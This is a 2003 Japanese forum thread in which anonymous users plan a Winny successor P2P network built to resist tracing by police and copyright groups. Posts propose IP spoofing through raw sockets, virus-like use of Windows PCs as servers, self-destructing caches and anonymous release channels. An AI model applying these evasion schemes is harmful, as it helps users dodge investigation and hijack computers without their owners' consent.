次期P2Pの仕様 part4

1 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:16 ID:VN09zs17

次期P2Pの仕様 part3
ttp://tmp2.2ch.net/test/read.cgi/download/1070050469/

関連
次期P2Pのクリアすべき課題を法的な観点から考察
ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/
次期P2Pに対する要望スレ
ttp://tmp2.2ch.net/test/read.cgi/download/1070085137/


2 名前:ぼるじょあ ◆yBEncckFOU 投稿日:03/11/29 15:16 ID:qC8tp6qb
  ぼるじょあ軍団がムーンウォークで2ゲットォー!!
   ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄
     ∧ ∧∧ ∧∧∧∧ ∧∧ ∧
    ( ・3( ・3( ・3( ・3( ・3・)
    ./ つ ./ つ ./ つ ./ つ ./ つ つ
 〜(_⌒ヽ__⌒ヽ__⌒ヽ__⌒ヽ__⌒ヽ  ≡≡≡(´⌒;;
    .)ノ `J)ノ `J)ノ `J)ノ `J)ノ `J≡≡≡(´⌒;;
              ≡≡≡(´⌒(´⌒;;
      ズズズズザザザザザザザザザーーーーッ



3 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:17 ID:79+jm4cK
>>1
乙ー

4 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:17 ID:iZ0yo0bO
みんなどこ行っちゃった?

5 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:17 ID:2xZfD6J2
>>1
オツカレー

6 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:17 ID:Ji3eZPM1
ようやく本スレ来たか。>>1乙。

7 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:17 ID:VN09zs17
>>4
関連スレに分散してる

8 名前:前スレ703 投稿日:03/11/29 15:19 ID:IAi4cTqk
とりあえずVPNの部分は完成
転送キャッシュには自爆機能をつける予定です。

9 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:19 ID:pyS+VU4n
>>2はしつこい


10 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:19 ID:lkq9p3dx
前スレにあった、有用な意見のひとつ

369 名前: [名無し]さん(bin+cue).rar [sage] 投稿日: 03/11/29 11:05 ID:e8MIGzc8
って事で中継は灰色、何を中継してるのかを解らなくして出来る限り白に近づくよう努力するって方針で。
断片化したファイルを複数ノードに中継させる事によって一つの中継ノードからは
ファイル全体をダウンロードしないようにする。
kが中継ノードになっても問題ないように元ファイルをUPするノードも一つの中継ノードに全ファイルを
UPしないようにする。完全キャッシュにならないと復号化できないような暗号化アルゴリズムを採用する。
出来れば効率うpのためにも中継ノードもダウソ要求を出してるノードにする。
断片キャッシュを中継ノード同士で補完し合う。そうすると元の完全キャッシュを流してるノードを特定しにくくなる。


11 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 15:21 ID:cZt7mbIJ
すみません。手際悪くて…


>>8さん
身元が調べられない様に注意して下さいね。

12 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:21 ID:nAsgnQgm
ここにも貼ってしまいますよ。

・"こ こ は 仕 様 を 決 め る ス レ ッ ド で す。
 実装に関しては、他のスレッドでお願いします。

・次期Winnyではマルチプラットフォームを目指すので
 Unix板 Linux板 Mac板の方も技術提供、お願い致します。

・「現時点で組み始めたいんだけど」
 まだ仕様が決まっていないので先走らないで下さい。

1.今回のタイーホは別件逮捕だと聞いたけど?
→ガセ。nyが解析された可能性がある。

2.IPの偽装はできないのか?
→現実的ではない。

3.ソフト名を決めずに、検索エンジン等でかからなくするのが良い
・ソフト名を放送禁止用語にすれ
→モノができてから考えれ。

4.特定のIP(ACCSとかJASRACとか)は、弾く(拒否する)設定が良い
→一般のプロバイダが用いられた捜査に対して全く無意味。


13 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:22 ID:nAsgnQgm

5.作者の身元を隠さなくていいのか?
→後で(公開の段階で)考えるべし。現状何もできてないので問題ない。

6.K察・ACCSは使用禁止にしよう
・雑誌掲載を禁止しよう
・初心者には容易に使えないソフトが良い、
・初期設定を難しくしよう、等
→後で(公開の段階で)考えるべし。公開直前にでも何とかなる。
 また現実問題、スレのURLの転載を止める手段はない。

7.通信径路上でのデータの暗号化にはXXが良い
・鍵は〜〜で流すのが良い、等 暗号関連
→暗号化はあくまでもプロバイダに特定されないためのもので、問題の本質ではない。
 例えば相手ノードが警察のPCだった場合などは、あらゆる暗号化は無意味。
 どちらかというと、責任逃れの方法を考えなければならない

8.プラグイン機能付きにしる!
→プログラム組む時にまた言って下さい。


14 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:23 ID:z2mEgKUf
>>12
マルチプラットフォームってなんだよw
クロスプラットフォームの事か?

15 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:23 ID:GuxrSiXR
 さて、俺はこのスレに常駐するとしますかな。

 分散(分割)して転送は絶対必要
 それぞれ意味を持たないのでkに中継されても意味なし。
 ファイルの破片だけだと、何かもわからないようにする。

 メインプロトコルは、開発者がすぐに変更可能にする。
 またそれらの関係者も変更可能。

 暗号化については、起動時に暗号キーを決めるようにして
 統一させないようにする。

16 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:24 ID:79+jm4cK
>>13
の「5」は最初の配布をny上で。
次からはそのソフト自体で配布or自動VersionUPで解決じゃない?
ってここでする話じゃないか。スマソ

17 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:25 ID:nYXs9UC8
>>16
自動verはヤバイと思います

18 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:25 ID:lH1AsmGa
スレ乱立しすぎ。次スレ以降でまとめていってくれ。


19 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:25 ID:FZYfmgmB
   _, ,_  パーン
 ( ‘д‘)
  ⊂彡☆))Д´)

20 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:27 ID:lkq9p3dx
>>18
分けた直後にそんなこと言われてもw

21 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:29 ID:GuxrSiXR

 開発用Webサイト作ろうか?

 さすがにダウソ版だと、スレが乱れてわからんからなー。
 
 まあ、どっかの鯖適当に借りて、さっさと作るけど、

 どうする??

22 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 15:29 ID:cZt7mbIJ
> スレ乱立しすぎ。次スレ以降でまとめていってくれ。

話があっちこっちに行き過ぎるから、仕方無し。


23 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:30 ID:nAsgnQgm
前前スレで僕がかいたものを・・・
(SHA については MD5 より性質がよいのでってことで書きました)
(異論ある方もいるでしょう。)

「キー」
・ファイル名
・SHA-1ハッシュ(「分割情報」と対応)
・トリップ
・展開用秘密鍵
・容量
・更新日時
  ・・etc

「分割情報」
・SHA-1ハッシュ(20バイト)
・SHA-512ハッシュ1 (「ブロック」と対応)
・SHA-512ハッシュ2
・SHA-512ハッシュ3
・SHA-512ハッシュ4
    ・
    ・



24 名前:S2400 ◆UEEVKPOKqs 投稿日:03/11/29 15:30 ID:iZ0yo0bO
職人さんが暗号化して分割したファイルを分割分の各ノードへ
一個づつうpしてしまえばいいのでは?

25 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:30 ID:Pb79miPU
>>14
マルチはマルチだろ、クロスはまったく別な意味合いだ。
正しくはプラットフォーム・インデペンデントだろうけど。

26 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:30 ID:+yQ5TDYL
最初のUpは、freenetにして万全を期すべき。
nyには、作者以外がUpするでしょう。
CRC付けておけば、検証もするだろうし偽者も排除できる。

27 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:31 ID:qbjOW1wM
>>21
実装に関しては今はやらないで。
一応、前スレまでの流れでは「ここを見て貰って、勝手に作って貰う」
ってのがお約束だから。

28 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:32 ID:nAsgnQgm
「ブロック」
・SHA-512ハッシュ(64バイト)
・データ本体

SHA については ttp://www.emit.jp/sha/sha.html

SHA-1ハッシュはファイルの中身を使って計算。
つまり中身が同じファイルはハッシュは同一になる。

SHA-512ハッシュは各ブロックのデータを使って計算。
同じ内容のブロックは同じハッシュに。

・「キー」「分割情報」「ブロック」がダウンロードし終わってファイルが生成されるときの動作。

「分割情報」のSHA-512ハッシュを頼りに該当ブロックを順番に結合。
「キー」の展開用秘密鍵を元に暗号を解除。
そしてファイルをダウンロードフォルダに生成。

・逆にファイルをキャッシュ化するときは

暗号化してから分割して分割情報の生成。


29 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:32 ID:cZt7mbIJ
> 開発用Webサイト作ろうか?

CVS有りでね。
出来るだけ匿名性がある所があれば。

安易に作る事は勧められない。

30 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:32 ID:GuxrSiXR
>>27
了解した。
 しかし、開発してる人は、どうなったんだ??

31 名前:前スレ703 投稿日:03/11/29 15:33 ID:IAi4cTqk
ちょっと一息・・・・・
ファイルの分割暗号圧縮を実装しようかと思っています
実はこの中に自爆機能を持たせようかと思うのですが
このアルゴリズムが面倒なんですよね・・・・
まぁVPNに入ってこれない時点でセキュリティー性は
高くなるのですが、万が一を考えると慎重になってしまいます。
OSというかC++で書いていますのでその気になれば
あとで移植できると思います。

32 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:33 ID:cZt7mbIJ
仕様 −−−− 設計 −−−− 実装

      ↑今はこのあたり

33 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:34 ID:s2+p3GJR
転送・中継するだけのサーバーってどう?
基本はP2Pなんだけど、転送は必ずそこを通る。
IPをSniffすると、なんかサーバーと通信している
事はわかるけど、相手がわからない

34 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:35 ID:GuxrSiXR
とりあえず、
 ツールの配布は、オープンナップ鯖立ててMXが無難か…
 

35 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:36 ID:e8MIGzc8
>>32
仕様の前の「こんなんどう?」段階だと思われ。

36 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:37 ID:GuxrSiXR
どうせなら
 検索キーワードも暗号化する必要があって、
 もちろんリストも暗号化されたもの。

 これで何を落としているのかすぐにはわからん。
 
 ってのはダメか

37 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:37 ID:nAsgnQgm
>>31
「ブロック」に該当するものに関して圧縮はいらないんじゃないかな。
大抵共有する人が圧縮かけちゃうだろうし、
そうなると圧縮は効果がなくなってしまうと思う。

「分割情報」も圧縮が効かないと思う。

「キー」は効果はありそうだからノード間通信で圧縮をつかうのもミソかも。



38 名前:前スレ703 投稿日:03/11/29 15:38 ID:IAi4cTqk
あーーーいかん!
VPNのアドレス誰が決めるかって事忘れていた!
まぁVPNのどこかにVPN-DHCPが居るという
前提で進めよう。

39 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:39 ID:QKjNVVbn
               F
               ↑
              ダミーパケット(ソースIP偽装TCPパケット)
                ――→ ――→
               ↑       ↓
ダミーパケット   本パケット(小パケット用経路 通常TCP通信)
〜F〜 ←―→ A ←―→ 〜 R1 〜 ←―→ B
          ↓             ↑  
           ―――→ 〜R2〜 ―――→
    本パケット(ファイル送信用A→Bの一方向経路 ソースIP偽装TCPパケット)

A ファイルの送信ノード
B ファイルの受信ノード
R1,R2 リレーノード群、数はランダム
F ダミーパケット用ノード群、数はランダム

ソースIPってのはraw socketを使えばどうにでも変えられる。
ただしソースIPが偽装されたパケットだけではこちら側のIPが相手に分からないので
直接のTCP通信はできない。IPspoofの技法でシーケンス番号予測のblind attackというのがあるが
blindという名のとおりあれも相手からのデータは一切受け取れない。
そのため相手からのパケットは別の経路(上図で言えばB-R1-Aの経路)で受け取ることとなる。

このシステムのメリットはB-R1-A間でやり取りされるデータサイズが小さいため中継ノードである
R1の数を増やせることである。警察はB→R2→Aの経路をたどって捜査することは、ソースIP偽装のため
できない。そのためB→R1→Aの経路をたどることになるがR1の数が多く、捜査すべき経路が
指数関数的に増えるので捜査が困難となる。

40 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:39 ID:GuxrSiXR
システム開発風に言うと…

基本計画−−−−外部設計−−−−内部設計−−−プログラム設定−−−プログラミング−−−バグフィックス−−−公開
 ↑今はこのあたり





41 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:39 ID:+yQ5TDYL
47氏が家宅捜索されなければ、さくっと安全性の高いバージョンが出てただろうって思う。
これから作る人は、身元を特定されないことが重要。
P2Pソフト制作自体合法なのにね。おかしな世の中になってきたなぁ。

42 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:40 ID:qbjOW1wM
確認だけどpart1・2で出てたプラグインってのは主要な流れなんかな?
基本のソフトはny後継のbbsで、プラグインでファイルごにょごにょ・・・
がいいと思うのだけど

43 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:41 ID:Pb79miPU
>>37
ブロックには必要ないけど、セッションは圧縮してもいい気がする
どうせプロトコルには冗長な部分が出てくるんだし

44 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:41 ID:lFbN2rCe
>>33
1. サーバーにKが捜査状出してアボンヌ。
2. Winny Network級の全トラフィックをまかなえるサーバー&回線を、誰が用意する。

45 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:41 ID:JTMavMuY
>>42
既出。
今の争点は?

46 名前:前スレ703 投稿日:03/11/29 15:42 ID:IAi4cTqk
>>41
公開するときは英語バージョンで海外鯖に置くかします。
つまり外人になりきればOKかなw


47 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:43 ID:nYXs9UC8
というか、まとめというまとめが無いように思うのですが・・・

48 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:43 ID:Ji3eZPM1
>>31
セキュリティとか言ってるが、
Kがそのネットワークに参加してきた事を想定してるか?
そこを何とかしないと、扉の鍵を開けっ放しにして窓からの侵入を対策してるようなもんだぞ。

49 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:43 ID:GuxrSiXR
プラグインは便利かもしれんが、
 厨房プログラマが余計の機能を付け出す可能性もあるからなー。

まず、改造禁止にするのは必要として、
 プラグインも認可したものでないと使用できないようにしないと。



50 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:45 ID:kRIBwSlO
初心者考えなんだけど自分が何をダウン又はアップしてるか
分からなくしてほしい。
Winnyの場合、この辺が丸見えだし
部分キャッシュも見えなくていいんじゃないかな?
完全キャッシュになっても見えなくして、その場で変換されるんじゃなくて
適当にパチスロのストック解除みたいに時差を設ける。
特定のファイルのみを落とすことは出来ない。
(=複数のダウン予約をしないと目的のファイルは落ちない)
ある程度キャッシュが溜まるまでは無差別ダウンロード
でかいファイルを落とそうとするほど沢山のキャッシュが必要。
とか・・・

51 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:45 ID:Pb79miPU
>>49
認証機関はどうするの?
開発がオープン、もしくは匿名でも
認証機関が存在する以上その認証期間から足が付くことにならない?

52 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:45 ID:JTMavMuY
>>47
まとめサイトらしき物はあるがまったく機能していない模様。
しかも国内鯖だから実論を交わすことは難しいと思われ。
情報の相互やり取りっつーのは海外鯖+wikiっつーのが一番有力だと思うのだが・・・

53 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 15:45 ID:cZt7mbIJ
> プラグインってのは主要な流れなんかな?
> 基本のソフトはny後継のbbsで、プラグインでファイルごにょごにょ・・・

基本部分をプラグインというのかライブラリの形で提供する事により

1,言い訳出来るから。
2,開発者への負担を減らす

3,別のソフトでも使い回せる。
4,単体での入れ替えが、より容易になる。

54 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:46 ID:MYYxl+XV
公開するサーバーは海外がいいよな。

55 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:46 ID:oa1eMOE5
まず求めるのは
Windowsに標準でインストールされてるソフトを介して
ダウン・アップできるようにすること。
まぁウィルスみたいなものを開発。
そしてファイル交換はnyと同じくやっていく。
そうすりゃ世界のPCがサーバになる。
誰か頼むよ。

56 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:46 ID:GuxrSiXR
Kだって、我々と同様な振る舞いで 個人に成りすましてくるのは事実といって過言じゃない。

だったらkに接続することを避けることよりも、
 せめて暑につながらないようにするのは有用。
 
 そして万が一、つながってしまっても
 分散やら分割によって対策を取れればOKだと思う。

57 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:46 ID:s2+p3GJR
>>44

もしあれば、という可能性を探りたかったんだけど、
仮定に無理ありか〜〜 やっぱ

そうするとサーバーの役割を参加者に振り分けて、ってNyに戻っちゃう

58 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:47 ID:+yQ5TDYL
>46
最初のUpは、Freenetがいいと思います。
匿名性が高く、実際送信元が特定されたことはありません。

つぎのUpは、作ったP2Pソフト自身で配布。
用心に越したことはないです。

59 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:47 ID:qbjOW1wM
Linnyスレまとめはwikiであるね。
作らないとね

60 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:48 ID:79+jm4cK
>>53
プラグインをKが開発→配布となってしまうと・・・。

61 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:48 ID:JTMavMuY
>>58
ただ効率が悪いという面で望めないし。
あと落とした人がどっかのアプロダに上げるとか言う手段をとられるとやばいかも・・・

62 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:49 ID:IIPHfuyB
ノード構築が動作するところまでできた。

63 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:50 ID:Pb79miPU
>>54>>55>>58とか
次期P2Pに対する要望スレ
ttp://tmp2.2ch.net/test/read.cgi/download/1070085137/

64 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:50 ID:MYYxl+XV
英語バージョンを作って海外の人にも使ってもらえるようにするべき。


65 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:52 ID:2xZfD6J2
>>61
なにがやばいの?

66 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:52 ID:owGxE0LI
プロトコル解析の問題→メジャーなプロトコルに変更。 SMTP, HTTP等

暗号化解析の問題→速度を犠牲にしてでも強力な暗号を採用する。PGP等

新規ファイルアップロードの危険性→転送時に必ず2ノード以上の中継を挟むようにする。

これだけでもだいぶ安全になると思う。


67 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 15:52 ID:cZt7mbIJ
>>60
> プラグインをKが開発→配布となってしまうと・・・。

暗号化・複合化ライブラリ以外を オープンソース化するならば

大勢の人間での「ソースのチェック」が可能になります。

もしも不安なら自分でソースを持ってきてRebuildすれば
信頼出来るバイナリが出来るかも知れません。

# オプションでバイナリ最適化する事もできるしね。

68 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:52 ID:xobylHKO
しかしよく考えればいまのNYだって暗号解読されて通信傍受されて
捕まったわけではなく、たまたま別件での逮捕でその入手方法がNY
だったってだけだろ?
なら、NYと同じ仕様だってかまわないんじゃないかな?
ただソースがKにわたった可能性が高いので、今後作者は身元が割れない
ようにしないとバージョンアップが止まるから。
またはオープンソース?


69 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:53 ID:nAsgnQgm
Winny ネットのしくみ (概念編)

    ○
   ○○
   ○○○
  ○○○○
  ○○○○○
 ○○○○○○
○○○○○○○
○○○○○○○○

・各ノードは持っているキャッシュのリストを上に流す。
・(下にも流しているかも)
・その際に下から受け取ったリストも合成する。
・(上から受け取ったリストも)
・上に行くほど膨大なリストになる。
・効率の良い検索を実現。
・しかしアクセスも上に集中しやすい。
・目立つ奴が現れて逮捕に・・・。


70 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:54 ID:oa1eMOE5
じゃぁnyの問題点だった部分を挙げてみよう。

1.自動的にダウン登録してない無関係なァイルのキャッシュまで少しずつダウンしてしまう
2.アップフォルダは必要ない
3.もっと複雑なPC経由(バケツリレー)が必要
4.暗号の強化
5.自分が持っているキャッシュがどういうファイルか、わかってしまうのはまずい

まぁ一番重要なのは
バケツリレーの改善なんだろうけど・・・どうよ?

71 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:54 ID:qbjOW1wM
>>68
既出だし、真実がわからないから、より安全で違う考え方を模索したがいいと思われ

72 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:55 ID:JTMavMuY
>>65
フリネを使うって言うのはある意味、厨房弾きだろ?
だからロダにあげられたらその意味がないと思う。



73 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:55 ID:+yQ5TDYL
>70
nyの問題点は、完全キャッシュを持ってしまうことだと思う。

74 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:56 ID:K583Js7M
その次世代P2Pソフトをそのソフト内で流す(あるいはバージョンアップさせる)というのはどうか?
web上で導入用のソフトを配布フリーにして配らせる。
バージョンアップはP2P自体で行う。

75 名前:前スレ703 投稿日:03/11/29 15:56 ID:IAi4cTqk
とりあえずソースコードは公開しますが
肝心のプロトコル等のアルゴリズムの部分はLIB化して
配布します。ですからWindowsではない人もそれぞれ
コンパイルすればOKですし日本語化も容易なようにします。
ただ、GUIの部分がめんどくさいです
誰かVPNの部分のIP割り振りについてアイデアないですかぁ?

76 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:56 ID:QKjNVVbn
>>70
ノードをたどっていけばパケットの送信サイズで送り元がばれる可能性がある

77 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:56 ID:Pb79miPU
>>72
作者の匿名性の確保以外の理由があるの?


78 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:56 ID:s2+p3GJR
>>68

賛成
技術的にいくら優れていても(Nyも相当いいと思う)
Socialな部分で 根底から崩されるので、
Socialな対策を技術的な要求分析と分けて考える
必要があると思う

79 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:56 ID:owGxE0LI
やるならリングかねぇ。
回転寿司プロトコル。


80 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:56 ID:cZt7mbIJ
>>70

追加、希望。

6,Windowsにしか対応していない。
7,全てのソースを一人の人間が持っている事


81 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:57 ID:Pb79miPU
>>75
ライブラリ化するのはいいけど、
ウインドウズじゃないプラットフォーム用に
どの程度のライブラリを提供するんですか?
いちいちクロスコンパイルする環境を整備するの面倒ですよね。

82 名前:高橋 投稿日:03/11/29 15:57 ID:1sZnp76k
私の人間関係もP2Pのようです

83 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:58 ID:YjgRh6W0
>>70
>>80
なんか、ものすごい内容になりそうだ。w
研究目的なら問題ないので、是非作ってみてくれ。

84 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:58 ID:JTMavMuY
>>77
だから厨房弾きとw
まぁここは配布の手段を話し合う場じゃないからな。
有効な意見を考えるとしよう。

85 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:59 ID:/SMdQfPt
朝まで起きてたんだけど、

白血病解析/指名手配/企業向け宣伝/行方不明者/尋ね人/待ち人来る
はどうなった?
もしよければ、頭の片隅にでも置いといてください。

86 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 15:59 ID:xobylHKO
Kがソースを入手したとなればより高度な監視システムを完成させるのは時間の問題だな。それまでに新天地に移動できるかにかかってるのか?

87 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 15:59 ID:cZt7mbIJ
> ただ、GUIの部分がめんどくさいです

初めのフロントエンドはテキトーで良いですよ。
コマンドで呼び出せる程度で。

> いちいちクロスコンパイルする環境を整備するの面倒ですよね。

協力しますし、そのプラットフォームの方に協力をお願いする事も
考えています。

88 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:00 ID:Srg2PC/8
とりあえず、おまいら好きだ。

89 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:00 ID:Pb79miPU
>>84
だから、>>77は厨房弾きにならないのは自明だろということをいっているわけで。
まあ、スレ違いは同意。

90 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:00 ID:nAsgnQgm
Winny のようなツリー式の構造は問題もあるけど、
「大量に出まわるファイルから効率良く検索」できる点や
「ロースペックPCは自動的に下位ノードになって負担が減る」性質が
あるところが見逃せないところ。

でもバケツリレー式でもなんとかなりそうかな。
バケツリレー式にするなら「キー」は相当軽いようなしくみに
する必要があると思う。


91 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:00 ID:oa1eMOE5
>>80
オープンソースの悪いところもあって・・・
難しいよね。
なぜかというと、MXと違ってUP0にされたりしたら困る
だからキャッシュのUPを制限するようなシステムにできればそれが一番いいんだけど・・・

一人の人間が一人の人間に完全キャッシュをそのまま渡せると困る。
nyだとMP3程度のファイルだったら個体個で完全キャッシュ渡しちまう。
それだとMXと変わらないことになるし・・・。

92 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:01 ID:K583Js7M
オープンソース化が見込めるなら>>87氏のような人もいるわけなんだし、技術的な不安は持たずにいけるのでは。

93 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:01 ID:lkq9p3dx
>>68
現段階では詳細が不明だから、それをも補う方向で議論しようやってことだと思う。

94 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:01 ID:xobylHKO
どうせKにソースばれてるんだし、せめて最後にNYのソース公開してくれないかな>47氏

95 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:02 ID:Pb79miPU
>>85
指名手配、宣伝、尋ね系は
掲示板やバナー用の専用チャンネルで簡単に実現できるだろうけど
白血病解析って誰がアプリケーション実装するんよ?
んで、UDとは別に独自で行うメリットって何よ?

これへの解答も含めて要望スレへ貼っといてくれ

96 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:02 ID:5hg2g5dK
頭のキレる皆様には私のような無能な者は頭があがりません。
ただただ祈るばかりでございます。
心の底より応援しております。

おぉ、神よ…我々MACの民にも光が見えてまいりました。

あのお方のキーボードを打つ手がまるで風になびく金色の草のよう…


97 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:02 ID:GuxrSiXR
解析不可能なソフトを作ることは無理だろうか?

まずウインドウは、フルスクリーンとタスクアイコンのどちらか。
タスクアイコンなら見えないので
 DOSでNETSTATみたいなことされても、
 転送速度を別のソフトで把握されようと、何を送信しているのか
 わからないと思うんだが。


98 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:03 ID:owGxE0LI
>>94
家宅捜索でソースは洗いざらい持って行かれてると思われ。


99 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:03 ID:Pb79miPU
>>87
協力はだめだろ、クローズドにするなら一人でソース握ってなければ。
どこから漏れるか、本当にわかんないんだし

100 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:04 ID:+yQ5TDYL
海外鯖にUpでは匿名は確保できないと思う。
Freenetがいいと思いますが、どうしてもやるなら、
多段のFTP串さして、Upしてください。

#ネットストーカーの問題で海外串さしても、身元が割れてたな...

101 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:04 ID:JTMavMuY
>>89
そういうことか。
スマン。


102 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:04 ID:2LhtByIL
今回は外人巻き込んでグローバルにデータ共有すんの?
それならnyのクラスタみたいにjapanと入れてれば日本ファイルが欲しいやつらでクラスタが
できるみたいにすればどう。そのクラスタにいれば外人でも日本ファイル転送するので役立つと思うのだが。


103 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:04 ID:EKL7tbUV
unixからきました。
少し様子を見てから協力させてもらいます。

104 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:05 ID:nAsgnQgm
気になったのは、
ny とかを使う人ってどのくらいのスペックでやっているのかな?
(メモリ量とか)
P2P の場合、各マシンの能力が流通能力に影響すると思う。


105 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:05 ID:owGxE0LI
>>97
そんなことしてもNetstatで見れる。
たとえOSから隠蔽できたとしても、パケットモニタでバレる。


106 名前:前スレ703 投稿日:03/11/29 16:05 ID:DNriX3if
>>81
程度は後で考えますとりあえずWindowsとTurboLinux使いなので
その後は??です。いまのところ16ノード単位で動作する
ように作っていますが多すぎますかね?
つまり16ノード同時起動しないとキャッシュが復元できない
ようになっています。

107 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:05 ID:K583Js7M
>>103
トリップ推奨。

108 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:05 ID:LFoYQrRu
>>100
だって普通にログ提出に応じてくれるし
ログを売ってる串鯖もあるし

109 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:06 ID:MPhP23KM
新しいネットワークプロトコルを開発するしかねーなこりゃ

110 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:06 ID:xobylHKO
ヤンが死んだ直後のイゼルローンのようだな。

111 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:06 ID:oa1eMOE5
ny最大の問題点。

今回のタイーホ者は
「ファイルをUPできる状態にしていた」という理由でタイーホ

つまり、キャッシュフォルダに完全キャッシュが存在したら、すでにタイーホの権利ありw
ここを、どうクリアするかにかかってるのかなぁ

112 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:06 ID:GuxrSiXR
基本的に、
 特定の鯖で公開するのはダメだ。
